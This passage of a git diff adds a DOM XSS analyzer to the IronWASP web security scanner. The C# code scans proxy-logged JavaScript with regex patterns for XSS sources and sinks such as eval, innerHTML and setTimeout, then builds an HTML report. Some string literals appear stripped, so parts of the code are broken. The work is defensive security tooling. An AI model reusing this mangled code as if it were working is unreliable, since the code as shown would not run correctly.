System.Windows.Forms.Label label1; + } +} \ No newline at end of file diff --git a/Iron/Hawas/DomXssAnalyzer.cs b/Iron/Hawas/DomXssAnalyzer.cs new file mode 100644 index 0000000..3e67d01 --- /dev/null +++ b/Iron/Hawas/DomXssAnalyzer.cs @@ -0,0 +1,630 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Text.RegularExpressions; +using System.Windows.Forms; +using System.Threading; +using System.IO; + +namespace IronWASP.Hawas +{ + public partial class DomXssAnalyzer : Form + { + Thread AnalysisThread = null; + static DomXssAnalyzer OpenDomXssAnalyzer = null; + DirectoryInfo OutputDir = null; + + Dictionary> FullResults = new Dictionary>(); + + Dictionary JsSourceCodeLogs = new Dictionary(); + List AnalyzedLogs = new List(); + + Regex SourceRegex = null; + Regex SinkRegex = null; + Regex JquerySinkRegex = null; + + static string IndexPageTop = @" + + + DOM XSS Analysis Results + + + + + + "; + + static string PageTop = @""; + static string PageBottom = @""; + + static string Css = @" + +#menu_title +{ + text-align: center; + padding-bottom: 10px; + color: #222; +} +.host +{ + width: 99%; + padding-left: 10px; + background-color: #DDD; + color: #000; + text-align: left; + overflow: auto; +} +#menu a +{ + color: #33C; + text-decoration: none; +} +#menu a:hover +{ + color: #33C; + text-decoration: underline; + font-weight: bold; +} +li +{ + padding-bottom: 5px; +} +.sink_title +{ + margin: 10px; + color: #070; + font-weight: bold; +} +.sink_list +{ + margin-left: 20px; + background-color: #8F5; +} +.source_title +{ + margin: 10px; + color: #B7D; + font-weight: bold; +} +.source_list +{ + margin-left: 20px; + background-color: #F8D; +} + +#menu +{ + +} +#attr_js +{ + border: solid; + border-color: #600; + padding: 15px; + margin: 10px; + word-wrap: break-word; +} + +#tag_js +{ + border: solid; + border-color: #606; + padding: 15px; + margin: 10px; + word-wrap: break-word; +} +#ext_js +{ + border: solid; + border-color: #066; + padding: 15px; + margin: 10px; + word-wrap: break-word; +} +#attr_js_start +{ + padding-top: 2px; + padding-bottom: 2px; + margin-bottom: 5px; + background-color: #AAA; +} +#tag_js_start +{ + padding-top: 2px; + padding-bottom: 2px; + margin-bottom: 5px; + background-color: #AAA; +} +#ext_js_url +{ + padding-top: 2px; + padding-bottom: 2px; + margin-bottom: 5px; + background-color: #AAA; +} +.source_match +{ + background-color: #8F5; + font-weight: bold; +} +.sink_match +{ + background-color: #F8D; + font-weight: bold; +} + +"; + + public DomXssAnalyzer() + { + InitializeComponent(); + SourceRegex = new Regex(@"(location\s*( )*[\[.])|([.\[]\s*( )*[""']?\s*( )*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage|Database)", RegexOptions.Compiled | RegexOptions.Multiline); + SinkRegex = new Regex(@"((src|href|data|location|code|value|action)\s*( )*[""'\]]*\s*( )*\+?\s*( )*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*( )*[""'\]]*\s*( )*\()", RegexOptions.Compiled | RegexOptions.Multiline); + JquerySinkRegex = new Regex(@"after\(|\.append\(|\.before\(|\.html\(|\.prepend\(|\.replaceWith\(|\.wrap\(|\.wrapAll\(|\$\(|\.globalEval\(|\.add\(|jQUery\(|\$\(|\.parseHTML\(", RegexOptions.Compiled | RegexOptions.Multiline); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + OpenDomXssAnalyzer = new DomXssAnalyzer(); + OpenDomXssAnalyzer.Show(); + } + OpenDomXssAnalyzer.Activate(); + } + + static bool IsWindowOpen() + { + if (OpenDomXssAnalyzer == null) + { + return false; + } + else if (OpenDomXssAnalyzer.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + private void SelectOutputFolderLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + while (true) + { + DialogResult Result = OutputFolderDialog.ShowDialog(); + if (Result == DialogResult.OK) + { + OutputDir = Directory.CreateDirectory(string.Format("{0}\\results_{1}", OutputFolderDialog.SelectedPath, DateTime.Now.ToString("yyyy_MMM_d__HH_mm_ss_tt") + "_ticks_" + DateTime.Now.Ticks.ToString())); + ShowHideDialogLink(false); + try { AnalysisThread.Abort(); } + catch { } + AnalysisThread = new Thread(DoAnalysis); + AnalysisThread.Start(); + AnalysisProgressBar.Visible = true; + return; + } + else if (Result == DialogResult.Cancel) + { + return; + } + } + } + + void DoAnalysis() + { + int i = 1; + try + { + File.WriteAllText(string.Format("{0}\\style.css", OutputDir.FullName), Css); + while (i < Config.LastProxyLogId) + { + if (!AnalyzedLogs.Contains(i)) + { + AnalyzeLogId(i); + } + i++; + } + CreateIndex(); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + IronException.Report("Error in DOM XSS Analyzer", Exp); + } + ShowAnalysisEndInUi(); + } + + void CreateIndex() + { + StringBuilder IB = new StringBuilder(IndexPageTop); + foreach (string BaseUrl in FullResults.Keys) + { + if (FullResults[BaseUrl].Count > 0) + { + IB.AppendLine(string.Format("
{0}
", BaseUrl)); + IB.AppendLine("
    "); + foreach (PageTaintResult PTR in FullResults[BaseUrl]) + { + IB.AppendLine("
  1. "); + IB.AppendLine(string.Format("{1}", PTR.LogId, PTR.Req.Url)); + IB.AppendLine(""); + IB.AppendLine(string.Format("", PTR.SinkCount, string.Join(", ", PTR.Sinks.ToArray()).Trim().Trim(','))); + IB.AppendLine(string.Format("", PTR.SourceCount, string.Join(", ", PTR.Sources.ToArray()).Trim().Trim(','))); + IB.AppendLine("
    Sinks:{0}{1}
    Sources:{0}{1}
    "); + IB.AppendLine("
  2. "); + } + IB.AppendLine("
"); + } + } + IB.AppendLine(IndexPageBottom); + File.WriteAllText(string.Format("{0}\\index.html", OutputDir.FullName), IB.ToString()); + ShowStatusMsg("Open the below file in browser to view the analysis results"); + ShowOutputFile(string.Format("{0}\\index.html", OutputDir.FullName)); + } + + void AnalyzeLogId(int LogId) + { + Session Sess = Session.FromProxyLog(LogId); + List Scripts = new List(); + if (Sess.Response != null) + { + if (Sess.Response.IsHtml) + { + if (!FullResults.ContainsKey(Sess.Request.BaseUrl)) + { + FullResults[Sess.Request.BaseUrl] = new List(); + } + + ShowStatusMsg(string.Format("Analyzing log id {0}", LogId)); + + StringBuilder PB = new StringBuilder(); + //PB.AppendLine(""); + int SourceCount = 0; + int SinkCount = 0; + + PageTaintResult PTR = new PageTaintResult(); + PTR.Req = new Request(Sess.Request.FullUrl); + + Scripts = Sess.Response.Html.GetJavaScriptFromAttributes(); + if (Scripts.Count > 0) + { + //PB.AppendLine("//Script from attributes"); + PB.AppendLine("
"); + for (int i=0; i < Scripts.Count; i++) + { + TaintResult TR = FindTaints(Scripts[i]); + SourceCount += TR.SourceCount; + SinkCount += TR.SinkCount; + PB.AppendLine(string.Format("
//Contents of JS attribute no: {0}
", i + 1)); + PB.AppendLine(TR.HighlightedCode); + PB.AppendLine("

"); + PTR.AddTaintResult(TR, LogId); + } + PB.AppendLine("
"); + } + + Scripts = Sess.Response.Html.GetJavaScriptFromScriptTags(); + if (Scripts.Count > 0) + { + //PB.AppendLine("//Script from script tags"); + PB.AppendLine("
"); + for (int i = 0; i < Scripts.Count; i++) + { + TaintResult TR = FindTaints(Scripts[i]); + SourceCount += TR.SourceCount; + SinkCount += TR.SinkCount; + PB.AppendLine(string.Format("
//Contents of Script tag no: {0}
", i + 1)); + PB.AppendLine(TR.HighlightedCode); + PB.AppendLine("

"); + PTR.AddTaintResult(TR, LogId); + } + PB.AppendLine("
"); + } + + List Urls = Sess.Response.Html.GetDecodedValues("script", "src"); + if (Urls.Count > 0) + { + //PB.AppendLine("//Script from external files"); + PB.AppendLine("
"); + foreach (string Url in Urls) + { + string FinalUrl = Sess.Request.RelativeUrlToAbsoluteUrl(Url); + Request FinalUrlReq = new Request(FinalUrl); + if (!FinalUrl.Equals(Sess.Request.FullUrl)) + { + foreach (LogRow LR in IronDB.GetRecordsFromProxyLog(LogId, 1000)) + { + if (LR.Host.Equals(FinalUrlReq.Host) && (LR.Url.Equals(FinalUrlReq.Url)) && (LR.SSL == FinalUrlReq.SSL)) + { + int LogIdToFetch = 0; + if (LR.Code == 304 && JsSourceCodeLogs.ContainsKey(FinalUrlReq.FullUrl)) + { + LogIdToFetch = JsSourceCodeLogs[FinalUrlReq.FullUrl]; + } + else if (LR.Code == 200) + { + LogIdToFetch = LR.ID; + } + if (LogIdToFetch > 0) + { + Session JsSess = Session.FromProxyLog(LogIdToFetch); + if (JsSess.Response != null) + { + if (JsSess.Response.IsJavaScript) + { + TaintResult TR = FindTaints(JsSess.Response.BodyString); + SourceCount += TR.SourceCount; + SinkCount += TR.SinkCount; + PB.AppendLine(string.Format("
//Contents of - {0}
", FinalUrlReq.FullUrl)); + PB.AppendLine(TR.HighlightedCode); + PB.AppendLine("

"); + PTR.AddTaintResult(TR, LogId); + if (!JsSourceCodeLogs.ContainsKey(FinalUrlReq.FullUrl)) + { + JsSourceCodeLogs[FinalUrlReq.FullUrl] = LogIdToFetch; + } + } + } + break; + } + } + } + } + } + PB.AppendLine("
"); + } + if ((PTR.SourceCount + PTR.SinkCount) > 0) + { + FullResults[Sess.Request.BaseUrl].Add(PTR); + } + + File.WriteAllText(string.Format("{0}\\{1}.html", OutputDir.FullName, LogId), string.Format("{0}{1}{2}", PageTop, PB.ToString().Replace(" ", " ").Replace("\t", "    ").Replace("{0}", M.Value)); + TR.Sinks.Add(M.Value); + } + TR.SinkCount++; + } + } + foreach (Match M in JquerySinkRegex.Matches(Code)) + { + if (M.Success) + { + if (!TR.Sinks.Contains(M.Value)) + { + Code = Code.Replace(M.Value, string.Format("{0}", M.Value)); + TR.Sinks.Add(M.Value); + } + TR.SinkCount++; + } + } + + foreach (Match M in SourceRegex.Matches(Code)) + { + if (M.Success) + { + if (!TR.Sources.Contains(M.Value)) + { + Code = Code.Replace(M.Value, string.Format("{0}", M.Value)); + TR.Sources.Add(M.Value); + } + TR.SourceCount++; + } + } + + TR.HighlightedCode = Code.Replace("\r\n", "
").Replace("\r", "
").Replace("\n", "
"); + return TR; + } + + delegate void ShowHideDialogLink_d(bool Show); + void ShowHideDialogLink(bool Show) + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowHideDialogLink_d CALL_d = new ShowHideDialogLink_d(ShowHideDialogLink); + AnalysisProgressBar.Invoke(CALL_d, new object[] { Show }); + } + else + { + SelectOutputFolderLbl.Visible = Show; + } + } + catch { } + } + + delegate void ShowHideProgressBar_d(bool Show); + void ShowHideProgressBar(bool Show) + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowHideProgressBar_d CALL_d = new ShowHideProgressBar_d(ShowHideProgressBar); + AnalysisProgressBar.Invoke(CALL_d, new object[] { Show }); + } + else + { + AnalysisProgressBar.Visible = Show; + } + } + catch { } + } + + delegate void ShowAnalysisEndInUi_d(); + void ShowAnalysisEndInUi() + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowAnalysisEndInUi_d CALL_d = new ShowAnalysisEndInUi_d(ShowAnalysisEndInUi); + AnalysisProgressBar.Invoke(CALL_d, new object[] { }); + } + else + { + ShowHideProgressBar(false); + StartBtn.Text = "Start Analysis"; + } + } + catch { } + } + + delegate void ShowStatusMsg_d(string Msg); + void ShowStatusMsg(string Msg) + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowStatusMsg_d CALL_d = new ShowStatusMsg_d(ShowStatusMsg); + AnalysisProgressBar.Invoke(CALL_d, new object[] { Msg }); + } + else + { + StatusLbl.Text = Msg; + } + } + catch { } + } + + delegate void ShowOutputFile_d(string FileName); + void ShowOutputFile(string FileName) + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowOutputFile_d CALL_d = new ShowOutputFile_d(ShowOutputFile); + AnalysisProgressBar.Invoke(CALL_d, new object[] { FileName }); + } + else + { + OutputTB.Text = FileName; + OutputTB.Visible = true; + } + } + catch { } + } + + private void DomXssAnalyzer_FormClosing(object sender, FormClosingEventArgs e) + { + StopAnalysis(); + } + + private void StartBtn_Click(object sender, EventArgs e) + { + if (StartBtn.Text.Equals("Start Analysis")) + { + try { AnalysisThread.Abort(); } + catch { } + OutputTB.Text = ""; + ShowStatusMsg("Creating output directory"); + try + { + CreateResultsDir(); + } + catch + { + ShowStatusMsg("Unable to create output directory, cannot proceed."); + return; + } + ShowStatusMsg("Analysis started..."); + AnalysisThread = new Thread(DoAnalysis); + AnalysisThread.Start(); + StartBtn.Text = "Stop Analysis"; + AnalysisProgressBar.Visible = true; + } + else + { + StopAnalysis(); + ShowStatusMsg("Analysis stopped"); + AnalysisProgressBar.Visible = false; + StartBtn.Text = "Start Analysis"; + } + } + + void CreateResultsDir() + { + OutputDir = Directory.CreateDirectory(string.Format("{0}\\domxss_results\\{1}", IronDB.LogPath, DateTime.Now.Ticks.ToString())); + } + + void StopAnalysis() + { + try + { + AnalysisThread.Abort(); + } + catch { } + } + } + + internal class PageTaintResult + { + internal Request Req = null; + internal List Sources = new List(); + internal List Sinks = new List(); + internal int SourceCount = 0; + internal int SinkCount = 0; + internal int LogId = 0; + + internal void AddTaintResult(TaintResult TR, int _LogId) + { + this.AddSources(TR.Sources); + this.AddSinks(TR.Sinks); + this.SourceCount += TR.SourceCount; + this.SinkCount += TR.SinkCount; + this.LogId = _LogId; + } + + void AddSources(List _Sources) + { + foreach (string Source in _Sources) + { + if (!this.Sources.Contains(Source)) Sources.Add(Source); + } + } + + void AddSinks(List _Sinks) + { + foreach (string Sink in _Sinks) + { + if (!this.Sinks.Contains(Sink)) Sinks.Add(Sink); + } + } + } + + internal class TaintResult + { + + internal string HighlightedCode = ""; + internal List Sources = new List(); + internal List Sinks = new List(); + internal int SourceCount = 0; + internal int SinkCount = 0; + } +} diff --git a/Iron/Hawas/DomXssAnalyzer.resx b/Iron/Hawas/DomXssAnalyzer.resx new file mode 100644 index 0000000..226436b --- /dev/null +++ b/Iron/Hawas/DomXssAnalyzer.resx @@ -0,0 +1,1925 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + DOM XSS Analyzer will go through all the Responses in the Proxy log, extracts all the Javascript from each Response and externally refernced script files. Then it identifys occurances DOM XSS Sources and Sinks. Finally it presents the results as an HTML report that makes manual analysis very easy. + + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 